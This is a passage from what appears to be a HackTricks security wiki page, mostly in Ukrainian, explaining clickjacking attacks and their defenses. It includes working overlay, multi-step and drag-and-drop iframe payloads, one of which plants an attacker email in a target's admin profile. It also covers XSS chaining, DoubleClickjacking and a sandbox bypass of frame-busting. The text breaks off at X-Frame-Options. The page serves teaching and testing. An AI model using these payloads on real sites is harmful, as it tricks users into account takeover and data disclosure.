Clickjacking

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

What is Clickjacking

У атаці Clickjacking користувача обманом змушують натиснути на елемент на веб-сторінці, який або невидимий, або маскується під інший елемент. Така маніпуляція може призвести до небажаних наслідків для користувача, таких як завантаження malware, перенаправлення на шкідливі веб-сторінки, надання облікових даних або конфіденційної інформації, перекази грошей або онлайн-купівля товарів.

Prepopulate forms trick

Іноді можливо заповнити значення полів форми, використовуючи GET-параметри при завантаженні сторінки. Атакуючий може зловживати цією поведінкою, щоб заповнити форму довільними даними та доставити clickjacking payload, щоб користувач натиснув кнопку Submit.

Populate form with Drag&Drop

Якщо вам потрібно, щоб користувач заповнив форму, але ви не хочете прямо просити його ввести конкретну інформацію (наприклад email чи певний пароль, який ви знаєте), ви можете просто попросити його Drag&Drop дещо, що запише ваші контрольовані дані, як у this example.

Basic Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Багатокроковий Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Якщо ви виявили XSS attack that requires a user to click на якийсь елемент, щоб trigger XSS, і сторінка vulnerable to clickjacking, це можна використати, щоб обманом змусити користувача натиснути кнопку/посилання.
Приклад:
Ви знайшли self XSS в деяких приватних даних акаунта (деталі, які only you can set and read). Сторінка з form, щоб задати ці деталі, vulnerable до Clickjacking і ви можете prepopulate цю form через GET параметри.
Атакувальник може підготувати Clickjacking атаку на цю сторінку, prepopulating form XSS payload і tricking user щоб Submit форму. Тож, when the form is submitted і значення будуть змінені, user will execute the XSS.

DoubleClickjacking

По-перше explained in this post, ця техніка просить жертву зробити подвійне клацання на кнопці кастомної сторінки, розташованої в певному місці, і використовує різницю в часі між mousedown та onclick подіями, щоб під час подвійного кліку завантажити сторінку жертви так, що victim actually clicks a legit button in the victim page.

Приклад можна побачити в цьому відео: https://www.youtube.com/watch?v=4rGvRRMrD18

Приклад коду можна знайти на this page.

warning

Ця техніка дозволяє обманом змусити користувача клікнути в 1 місці на сторінці жертви, обминаючи будь-який захист проти clickjacking. Тому атакувальнику потрібно знайти sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.

Розширення браузера: DOM-based autofill clickjacking

Окрім iframing сторінок жертви, атакувальники можуть націлюватися на UI-елементи browser extension, які інжектяться в сторінку. Password managers відображають autofill dropdowns поруч з фокусованими inputs; фокусуючи поле під контролем зловмисника і ховаючи/закриваючи dropdown розширення (tricks з opacity/overlay/top-layer), змушений клік користувача може обрати збережений елемент і заповнити конфіденційні дані в inputs під контролем зловмисника. Цей варіант не потребує exposure через iframe і працює повністю через DOM/CSS маніпуляції.

  • For concrete techniques and PoCs see:

BrowExt - ClickJacking

Стратегії захисту від Clickjacking

Захист на стороні клієнта

Скрипти, що виконуються на клієнтській стороні, можуть виконувати дії для запобігання Clickjacking:

  • Перевіряти, що вікно додатку є main або top window.
  • Робити всі frames видимими.
  • Запобігати клікам по невидимих frames.
  • Виявляти і попереджати користувачів про потенційні спроби Clickjacking.

Однак ці frame-busting скрипти можуть бути обійдені:

  • Browsers' Security Settings: Деякі браузери можуть блокувати ці скрипти залежно від налаштувань безпеки або відсутності підтримки JavaScript.
  • HTML5 iframe sandbox Attribute: Зловмисник може нейтралізувати frame buster скрипти, встановивши sandbox attribute з allow-forms або allow-scripts значеннями без allow-top-navigation. Це перешкоджає iframe перевіряти, чи він є top window, наприклад,
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Значення allow-forms та allow-scripts дозволяють виконувати дії всередині iframe, одночасно блокуючи навігацію на верхньому рівні. Щоб забезпечити потрібну функціональність цільового сайту, можуть знадобитися додаткові дозволи, такі як allow-same-origin та allow-modals, залежно від типу атаки. Повідомлення в консолі браузера підкажуть, які дозволи слід включити.

Server-Side Defenses

X-Frame-Options

The X-Frame-Options HTTP response header інформує браузери про легітимність рендерингу сторінки в або